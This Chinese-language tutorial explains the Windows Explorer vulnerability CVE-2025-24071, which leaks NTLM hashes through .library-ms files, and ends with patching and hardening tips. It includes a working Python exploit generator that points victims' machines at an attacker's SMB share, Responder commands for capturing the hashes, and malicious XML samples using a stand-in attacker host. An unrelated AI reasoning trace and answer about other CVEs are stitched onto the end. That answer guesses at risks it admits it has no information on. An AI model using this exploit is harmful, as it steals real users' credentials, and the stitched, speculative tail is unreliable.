小白也能看懂的CVE-2025-24071漏洞原理剖析

你好!今天我们将一起探索一个有趣但有点危险的计算机安全问题——CVE-2025-24071漏洞。这是一个跟Windows文件资源管理器(Windows File Explorer)相关的漏洞,听起来是不是有点神秘?别担心,我会从最基础的地方讲起,带你一步步了解它的原理,就像剥洋葱一样,从外到内,层层深入。我们会聊到.library-ms文件的起源、UUID(通用唯一标识符)和UNC(通用命名约定)的概念,最后揭示这个漏洞是如何让坏人偷走你的“数字身份证”的。准备好了吗?让我们开始吧!


第一部分:什么是CVE-2025-24071漏洞?

首先,咱们得搞清楚CVE是什么。CVE全称是“通用漏洞披露”(Common Vulnerabilities and Exposures),简单来说,它就像给每个计算机漏洞发的一个全球通用的“身份证号”。有了这个编号,安全专家们就能方便地追踪和讨论系统里的安全问题。CVE-2025-24071就是2025年发现的一个具体漏洞,它盯上的目标是Windows操作系统里的文件资源管理器——也就是你平时打开文件夹时用的那个工具。这个漏洞的厉害之处在于,坏人可以利用它偷偷拿走你的NTLM哈希(一种跟密码绑在一起的“数字指纹”),然后拿着这张“假身份证”冒充你,溜进你的电脑或者网络里搞破坏。

为了让大家更明白这个漏洞的触发方式,咱们先给小白讲讲大白话,再给专业人士捋一捋技术细节。

小白版

想象一下,你收到一个快递,里面是个压缩包(比如RAR或ZIP文件),你以为是朋友发来的照片集,于是兴冲冲地解压。结果,里面藏了个“陷阱文件”,Windows文件资源管理器一看到它,就像个热心但有点糊涂的门卫,不问青红皂白就去敲某个“神秘地址”的门。敲门的时候,它还顺手把你的“数字身份证”(NTLM哈希)递了过去。门后面站着的却是坏人,他们拿到这张“身份证”后,就能假扮成你,去干些偷鸡摸狗的事。听起来是不是像电影里的间谍剧情?但这事儿真真切切发生在数字世界里,而且已经被坏人用过。好在微软已经机灵起来,在2025年3月的更新里把这个漏洞堵上了。不过,要弄懂它为什么这么容易中招,咱们得一步步拆开,从基础聊起。

专业版(看不懂可跳过)

对于懂技术的朋友,咱们深入点。CVE-2025-24071是一个存在于Windows文件资源管理器中的安全漏洞,攻击者通过一个精心设计的恶意.library-ms文件,就能悄无声息地窃取用户的NTLM哈希。这个漏洞的核心在于Windows对某些文件格式的“过度信任”和自动处理机制。

漏洞原理
  • 文件格式信任问题.library-ms文件是基于XML的,Windows文件管理器信任该文件格式以定义库位置。当解压包含恶意SMB路径的.library-ms文件时,Windows文件管理器会自动解析其内容以生成预览和索引元数据。
  • 自动解析触发:即使用户从未显式打开提取的文件,Windows文件管理器的索引服务和文件解析机制也会自动处理该文件。这会触发与攻击者控制的SMB服务器的NTLM认证握手,从而泄露用户的NTLMv2哈希。
PoC(概念验证)

这里有个简单的Python脚本,用于生成恶意.library-ms文件并利用该漏洞:

import os
import zipfile

def main():
    file_name = input("输入文件名: ")
    ip_address = input("输入攻击者IP (如 192.168.10.132): ")
    library_content = f"""<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
  <searchConnectorDescriptionList>
    <searchConnectorDescription>
      <simpleLocation>
        <url>\\\\{ip_address}\\shared</url>
      </simpleLocation>
    </searchConnectorDescription>
  </searchConnectorDescriptionList>
</libraryDescription>
"""
    library_file_name = f"{file_name}.library-ms"
    with open(library_file_name, "w", encoding="utf-8") as f:
        f.write(library_content)
    with zipfile.ZipFile("exploit.zip", "w", compression=zipfile.ZIP_DEFLATED) as zipf:
        zipf.write(library_file_name)
    if os.path.exists(library_file_name):
        os.remove(library_file_name)
    print("生成完成!")

if __name__ == "__main__":
    main()
使用方法
  1. 运行上述Python脚本,输入文件名和攻击者的IP地址,生成包含恶意.library-ms文件的exploit.zip文件。
  2. 将生成的exploit.zip文件传输到目标Windows系统上,并解压该文件。
  3. 在攻击机上使用Responder工具监听并捕获NTLM哈希:
    sudo responder -I eth0 -wvF
    
  4. 解压文件后,攻击机上的Responder工具将捕获到目标系统的NTLMv2哈希。

第二部分:.library-ms文件的概念与起源

什么是.library-ms文件?

让我们先从漏洞的核心部件——.library-ms文件讲起。你可能没听说过这个文件类型,但它其实是Windows系统中的一种小助手。它的全称是“Library Description File”(库描述文件),后缀是.ms,表明它与微软(Microsoft)紧密相关。这种文件的作用是帮助Windows管理你的文件夹和文件,让它们更有条理。

想象一下,你家里有很多书,但它们乱七八糟地堆在一起。有一天,你决定用一个笔记本记录每类书的位置,比如“小说在左边书架,教科书在右边桌子”。这个笔记本就有点像.library-ms文件,它告诉Windows:“嘿,这些文件属于同一个‘图书馆’,请把它们整理好给我看。”在Windows 7中,微软引入了“库”(Libraries)的概念,比如“文档库”“图片库”,而.library-ms就是这些库的“说明书”。

.library-ms的起源

.library-ms文件最早出现在Windows 7中,当时微软希望让用户更方便地管理文件。以前,我们的文件分散在C盘、D盘的各种文件夹里,找起来很麻烦。于是,微软推出了“库”的功能。它并不是真的把文件挪到一个地方,而是像一个“虚拟文件夹”,把不同位置的文件“链接”在一起展示给你看。比如,你的照片可能分别存储在“C:\Users\Public\Pictures”和“C:\Users\Vacation\Pictures”,但在“图片库”里,它们会一起出现,像一个整体。

为了实现这个功能,Windows需要一种文件来描述“库”的规则,比如它包含哪些文件夹、如何显示。这个任务就交给了.library-ms文件。它是一个XML格式的文件(一种简单的标记语言,像HTML的亲戚),里面写着类似这样的内容:

<libraryDescription>
  <name>我的图片库</name>
  <searchConnectorDescriptionList>
    <searchConnectorDescription>
      <path>C:\Users\Public\Pictures</path>
    </searchConnectorDescription>
    <searchConnectorDescription>
      <path>C:\Users\Vacation\Pictures</path>
    </searchConnectorDescription>
  </searchConnectorDescriptionList>
</libraryDescription>

简单来说,.library-ms文件就像一个“地图”,告诉Windows去哪里找文件,然后把它们整合起来展示。这种设计让用户体验更流畅,但也埋下了安全隐患。

.library-ms的特性

现在你可能会问:“这跟漏洞有什么关系?”答案藏在.library-ms文件的一个关键特性里:Windows文件资源管理器对它有种“特别的信任”,而且它完全没有鉴权机制。什么是鉴权呢?鉴权就像门卫检查你的身份证,确保你有权限进入大楼。但对于.library-ms文件,Windows压根不检查它的“身份”——只要它存在,系统就假设它是合法的,然后自动读取并处理。

具体来说,当一个.library-ms文件出现在文件夹里时,哪怕你没有双击打开它,Windows文件资源管理器也会在扫描文件夹时自动解析它的内容。如果里面写着某个路径(比如本地文件夹或网络地址),Windows会毫不犹豫地尝试连接那个路径。这种“自动执行”的设计本来是为了方便用户快速访问“库”里的资源,但坏人却发现了它的“漏洞”:只要在.library-ms里写上一个恶意的路径,Windows就会乖乖照做,甚至可能泄露你的敏感信息。

更可怕的是,这种特性无处不在,甚至丢到回收站也逃不掉!你可能会想:“我把可疑文件扔进回收站,应该没事了吧?”但事实并非如此。当你打开回收站查看里面的内容时,文件资源管理器仍然会扫描文件夹里的文件,包括那个.library-ms。只要它被解析,里面的恶意路径就会触发,系统还是会尝试连接,完全不给你喘息的机会。这种“即使被删除也不安全”的特性,无疑让.library-ms成了坏人眼中的“完美工具”。

为什么它跟漏洞有关?

正是因为.library-ms缺乏鉴权和这种“无处不在”的触发特性,CVE-2025-24071漏洞才得以发生。坏人可以制作一个恶意的.library-ms文件,里面写上一个指向他们控制的服务器的路径(比如\\EvilServer\Trap)。当你解压一个包含这个文件的压缩包,或者只是打开一个包含它的文件夹(甚至是回收站),Windows就会自动读取并尝试连接那个路径。这个过程可能会触发NTLM认证,把你的“数字身份证”泄露给坏人。我们会在后面详细讲这个过程,但现在你只需要记住:.library-ms“自动触发“的特性是漏洞的根源。


第三部分:UUID是什么?有什么用?

UUID的基础概念

好了,现在我们聊聊另一个重要角色——UUID。UUID是“通用唯一标识符”(Universally Unique Identifier)的缩写,简单说,它是一个超级独特的“编号”,用来标记世界上独一无二的东西。它的样子长这样:

550e8400-e29b-41d4-a716-446655440000

这个编号有128位(计算机里的二进制位),用16进制表示,分成5段,用横杠分开。它的独特之处在于,不管你在地球哪个角落生成一个UUID,它几乎不可能跟别人的一样。就像每个人有唯一的指纹,UUID是数字世界的“指纹”。

UUID是怎么来的?

UUID的概念最早由Open Software Foundation(OSF)提出,后来被广泛用在计算机系统中。它的设计目标是“唯一性”,不需要一个中央机构来分配编号。你可以用时间、电脑的MAC地址(网卡的硬件地址)或者随机数来生成一个UUID。比如:

  • 版本1:基于时间戳和MAC地址,保证同一台电脑在不同时间生成的UUID不一样。
  • 版本4:完全随机生成,靠概率保证唯一性(重复的几率低到几乎不可能)。

微软在Windows里也大量使用UUID,比如给文件、设备、软件分配身份标识。

UUID和.library-ms的关系

.library-ms文件里,UUID有时会用来标记“库”或者它引用的资源。比如,一个完整的.library-ms文件可能是这样的:

<libraryDescription>
  <name>我的图片库</name>
  <ownerSID>S-1-5-21-1234567890-0987654321-1112233445-1001</ownerSID>
  <libraryID>{550e8400-e29b-41d4-a716-446655440000}</libraryID>
  <searchConnectorDescriptionList>
    <path>C:\Pictures</path>
  </searchConnectorDescriptionList>
</libraryDescription>

这里的<libraryID>就用了一个UUID,确保这个“库”在系统里是独一无二的。Windows看到这个UUID时,会知道它对应的是哪个具体的“库”配置。

UUID跟漏洞的联系

虽然UUID本身不是漏洞的直接原因,但它在.library-ms文件里扮演了“身份标签”的角色。坏人可以伪造一个.library-ms文件,里面包含一个看似合法的UUID,但指向一个恶意的路径。Windows信任这个文件,就会去访问那个路径,而这个过程可能会触发一些意想不到的行为,比如泄露你的NTLM哈希。我们接下来会讲到这个“路径”的秘密武器——UNC。


第四部分:UNC是什么?它又是怎么回事?

UNC的基础概念

现在轮到UNC出场了!UNC是“通用命名约定”(Universal Naming Convention)的缩写,它是一种用来表示网络路径的标准格式。在Windows里,你可以用UNC来访问网络上的文件或设备,而不是用本地路径(像“C:\Files”)。一个UNC路径长这样:

\\ServerName\ShareName\FileName
  • \\:表示这是个网络路径。
  • ServerName:服务器的名字或IP地址。
  • ShareName:服务器上共享的文件夹名。
  • FileName:具体的文件名(可选)。

比如,你想访问公司服务器上的一个文件,路径可能是:

\\CompanyServer\Docs\Report.docx

UNC的好处是,它让不同电脑之间共享文件变得很简单。只要你知道服务器的名字和共享文件夹,就能访问里面的东西(当然,得有权限)。

UNC的起源

UNC的概念起源于早期的局域网(LAN)时代。当时,微软和IBM合作开发了一个叫SMB(Server Message Block)的协议,用来在电脑之间共享文件和打印机。SMB是Windows网络共享的“语言”,而UNC就是SMB用来描述路径的“语法”。从Windows 95开始,UNC就成了Windows系统的标配,你可以在文件资源管理器里直接输入一个UNC路径来访问网络资源。

UNC和漏洞的关联

现在,我们终于要串联起所有的线索了!在CVE-2025-24071漏洞中,UNC路径是坏人用来“钓鱼”的钩子。想象一下,坏人做了一个恶意的.library-ms文件,里面写着:

<libraryDescription>
  <name>假图片库</name>
  <searchConnectorDescriptionList>
    <searchConnectorDescription>
      <path>\\EvilServer\Trap</path>
    </searchConnectorDescription>
  </searchConnectorDescriptionList>
</libraryDescription>

当你解压一个包含这个文件的压缩包时,Windows文件资源管理器会自动读取它,看到这个UNC路径(\\EvilServer\Trap),然后尝试连接到这个服务器。而这个服务器其实是坏人控制的!连接的过程会触发一个认证请求(用的是NTLM协议),结果你的NTLM哈希就被偷偷发送过去了。


第五部分:漏洞的完整原理——拼图合拢

NTLM是什么?

在讲漏洞细节之前,我们得先认识一下NTLM。NTLM是“NT LAN Manager”的缩写,是Windows用来验证身份的一种协议。简单说,当你登录电脑或者访问网络资源时,NTLM会用你的密码生成一个“哈希”(一串加密后的数字),然后用这个哈希证明你是你自己。它的好处是不用直接发送密码,但坏处是,如果哈希被偷了,坏人可以用它冒充你。

漏洞是怎么发生的?

现在,我们把所有拼图拼起来,看看CVE-2025-24071的完整原理:

  1. 坏人准备陷阱
    攻击者制作一个恶意的.library-ms文件,里面包含一个UNC路径(比如\\EvilServer\Trap),然后把它塞进一个RAR或ZIP压缩包。

  2. 你中了圈套
    你下载了这个压缩包(可能以为是照片或文档),解压后,文件夹里出现了这个.library-ms文件。你可能没双击它,但Windows文件资源管理器会自动扫描文件夹,读取这个文件。

  3. Windows的“信任”被利用
    因为.library-ms是Windows信任的文件类型,文件资源管理器看到UNC路径后,会立刻尝试连接到\\EvilServer\Trap。这就像你家门卫看到一个“官方信封”,不检查就放行。

  4. NTLM认证被触发
    连接到坏人服务器时,服务器会要求认证。Windows会自动用你的NTLM哈希去“打招呼”,但这个哈希被服务器收到后,就落入了坏人手里。

  5. 后果
    坏人拿到你的NTLM哈希后,可以用它冒充你,访问你的网络资源,或者破解你的密码(如果哈希不够强)。

为什么这么危险?

这个漏洞的厉害之处在于,它不需要你主动做什么特别的操作。只要你解压文件,Windows的“自动处理”就帮坏人完成了任务。而且,它影响了从Windows 7到Windows 11的所有版本,范围超级广。更糟的是,这种攻击已经在现实中被用过了,说明坏人已经掌握了它的用法。


第六部分:打上补丁,保护自己

好消息是,微软已经在2025年3月的“补丁星期二”(Patch Tuesday)更新中把CVE-2025-24071这个漏洞修补好了。只要你打开Windows系统里的“设置 > Windows 更新”,点几下鼠标更新一下,就等于给你的电脑穿上了新“防弹衣”,安全无忧。不过,为了以防万一,咱们还是得多留几个心眼。这里有几个实用的小建议,帮你把安全防线再加固一层。

“补丁星期二”是个啥?它的来历你知道吗?

在讲保护方法之前,咱们先聊聊这个“补丁星期二”是怎么回事。你可能觉得这个名字挺有趣,像个固定的节日——其实还真有点像!“Patch Tuesday”直译是“补丁星期二”,指的是微软每个月第二个星期二发布的系统更新。这一天,微软会集中推出各种补丁(patches),修补Windows和其他软件里的漏洞。

这个“传统”是怎么来的呢?故事得追溯到20多年前。早期的Windows系统(比如Windows 95、98)经常出漏洞,微软一开始是发现一个问题就修一个,更新推送得乱七八糟,用户和企业都抱怨连天:“这补丁啥时候来啊?我咋计划维护?”于是,到了2003年,微软决定把补丁发布规范化。他们挑中了每个月的第二个星期二,因为这天离月初的“黑色星期五”(系统管理员忙着修上个月遗留问题)有点距离,能让大家喘口气。而且,星期二是一周的开头,管理员有整个星期去部署更新,不至于手忙脚乱。

从那以后,“补丁星期二”就成了微软和安全圈的“固定节目”。微软会提前通知用户和企业,让大家准备好升级系统。当然,如果漏洞特别严重,他们也会破例发布“紧急补丁”(Out-of-Band Patch),但那是少数情况。对普通用户来说,记住每个月检查更新就够了——毕竟,谁也不想让坏人钻了空子,对吧?

保护自己的实用小招

好了,知道漏洞修好了,咱们再来看看怎么让自己更安全。光靠微软的补丁可不够,坏人总有新花样,咱们得主动出击:

  1. 小心陌生压缩包
    别随便解压来路不明的RAR或ZIP文件,尤其是网上下载的那些“免费大礼包”。这次的漏洞就是靠压缩包里的.library-ms文件触发的,坏人最喜欢用这种“糖衣炮弹”骗你上钩。收到不明文件,先想想来源,宁可多疑一下,也别冒险解压。

  2. 禁用自动处理
    如果你稍微懂点技术,可以试着关掉文件资源管理器的某些“自动帮忙”功能,比如不让它随便解析.library-ms文件。这需要改改系统设置(比如调整注册表或组策略),有点复杂,小白用户可以请教IT朋友帮忙。关掉之后,Windows就不会“自作聪明”地去碰那些可疑文件,安全性蹭蹭上涨。

  3. 升级认证方式
    如果你是公司用户,或者家里的网络连着服务器,建议把认证方式从NTLM升级到更安全的Kerberos协议。NTLM虽然方便,但它把哈希暴露给坏人太容易了;而Kerberos更像个严格的“门卫”,验证身份时不随便泄露信息。这一步可能需要网络管理员帮忙,但绝对值得一试,能大大降低被冒充的风险。

小贴士:养成好习惯

除了这些具体招数,日常用电脑时多点安全意识也很重要。比如,定期检查系统更新,别嫌麻烦;下载东西时挑靠谱网站,别贪小便宜;还有,密码设置复杂点,别老用“123456”。这些小习惯加起来,就像给你的数字生活加了把锁,让坏人无从下手。


第七部分:总结与思考

通过这一路的探索,我们从.library-ms文件的起源开始,聊到了UUID那串“宇宙级身份证号”和UNC的网络“导航仪”,最后揭开了CVE-2025-24071漏洞的“真面目”。这个漏洞告诉我们,即使是操作系统里最不起眼的小功能,也可能藏着大隐患。Windows为了方便用户,设计了“库”和自动处理功能,但这份“信任”却被坏人利用了。

回想一下,.library-ms本来是为了让你的文件井井有条,UNC是为了让你轻松访问网络资源——这些设计的出发点是好的。可偏偏在CVE-2025-24071这里,它们被串成了一个“陷阱链”。这事儿告诉我们,科技的双刃剑属性真是无处不在:方便和风险往往就隔着一张纸。

作为一个小白,你现在应该心里有谱了:计算机安全就像一场永不停歇的“猫鼠游戏”。工程师们拼命优化系统,想让我们用得更顺手;坏人们却像老鼠一样,钻在角落里找缝隙。我们普通人能做的,就是别当“睁眼瞎”,得时刻保持点警惕。及时更新系统,就像给家门换把新锁;多学点知识,就像给自己装个“防盗雷达”。下次再遇到类似的可疑压缩包,你就不会傻乎乎地解压,而是先想想:“这玩意儿靠谱吗?”

更深一层想,这场“游戏”不只是技术问题,还跟人性有关。坏人利用的是Windows的“信任”,但更大的“信任”其实在我们自己手上——我们信赖科技,却忘了它也有出错的时候。就像你信任家里的智能锁,但总得记得检查电池有没有电,对吧?CVE-2025-24071只是冰山一角,未来还会有更多漏洞等着被发现。我们不妨把这次当作一个教训:安全不是别人给的,而是自己守出来的。

所以,别停下学习的好奇心吧!今天你弄懂了.library-ms和NTLM是怎么回事,明天说不定就能一眼看出哪个文件“长得不对劲”。在这个数字世界里,多一份从容,就少一份风险。

<think>好的,我需要处理用户关于CVE-2025-29775和CVE-2025-29774漏洞的查询。首先,我应该检查提供的四个引用,看看是否有提到这两个CVE编号。根据用户提供的引用,引用[1]到[4]分别提到了不同的CVE编号,比如CVE-2025-0411、CVE-2021-41617、CVE-2020-15778、CVE-2019-16905、CVE-2002-20001、CVE-2025-24813和CVE-2025-1094,但没有直接提到CVE-2025-29775和CVE-2025-29774。这说明用户提到的这两个漏洞可能不在用户提供的参考信息中。 接下来,我需要考虑如何处理这种情况。首先,我应该如实告知用户,根据现有的引用资料,没有找到这两个CVE的具体信息。这可能是因为提供的引用中没有涵盖这些漏洞,或者这些漏洞是较新的,尚未被广泛记录或收录到公开的漏洞数据库中。 然后,我应该提供一些通用的建议,帮助用户自行查找这些漏洞的详细信息。例如,建议他们访问权威的漏洞数据库如NVD(National Vulnerability Database)、CVE官方网站,或者相关的安全公告平台。此外,提醒他们检查受影响软件的官方安全公告,以及及时应用供应商提供的补丁和更新。 同时,我需要确保回答符合用户的要求,即结构清晰,分步骤解决问题,并尽量真实可靠。需要避免猜测或提供不准确的信息,特别是在涉及安全漏洞的情况下,错误的信息可能导致用户采取不恰当的措施,增加风险。 最后,根据用户提供的示例,需要生成相关问题。这些问题应该围绕如何进一步查找漏洞信息、验证系统是否受影响以及常规的漏洞管理措施展开。 总结来说,回答的结构应包括: 1. 指出现有引用中未找到相关信息。 2. 提供通用的漏洞查询建议。 3. 给出通用的漏洞处理建议。 4. 生成相关问题。 需要确保语言简洁明了,使用中文,并正确应用LaTeX格式(如果有数学内容的话,但这里可能不需要)。同时,注意引用标识的正确使用,但根据现有引用,可能不需要添加新的引用,因为没有对应的信息。</think>根据当前提供的参考信息,未找到关于 **CVE-2025-29775** 和 **CVE-2025-29774** 的具体漏洞详情。以下是针对此类漏洞的通用分析框架和建议: --- ### 1. **漏洞查询建议** - **权威数据库检索** 访问美国国家标准与技术研究院(NIST)的[国家漏洞数据库(NVD)](https://nvd.nist.gov/)或[CVE官方网站](https://cve.mitre.org/),输入CVE编号查询漏洞详情。 - **厂商安全公告** 若漏洞与特定软件相关(如Apache、Microsoft等),需直接查看对应厂商的安全公告页面。 --- ### 2. **通用漏洞处理流程** 1. **影响范围分析** 漏洞可能涉及特定软件版本、协议或依赖库。例如: -漏洞与网络协议相关,需检查是否使用受影响的协议(如SSH、HTTP/2等)。 - 若涉及开源组件,需通过依赖管理工具(如Maven、npm)排查版本号。 2. **修复方案** - **补丁升级**:优先应用厂商发布的官方补丁。 - **缓解措施**:若无法立即升级,可临时禁用相关功能或配置防火墙规则限制访问。 - **输入验证与过滤**:对用户输入实施严格的校验(如正则表达式匹配)以防止注入攻击[^4]。 --- ### 3. **参考案例分析** 根据已有引用中类似漏洞的特征(如CVE-2025-24813的远程命令执行漏洞[^3]),推测 **CVE-2025-29775/29774** 可能涉及以下风险: - **远程代码执行(RCE)**:攻击者通过构造恶意请求在目标系统执行任意命令。 - **权限提升或数据泄露**:漏洞可能绕过身份验证或加密机制。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值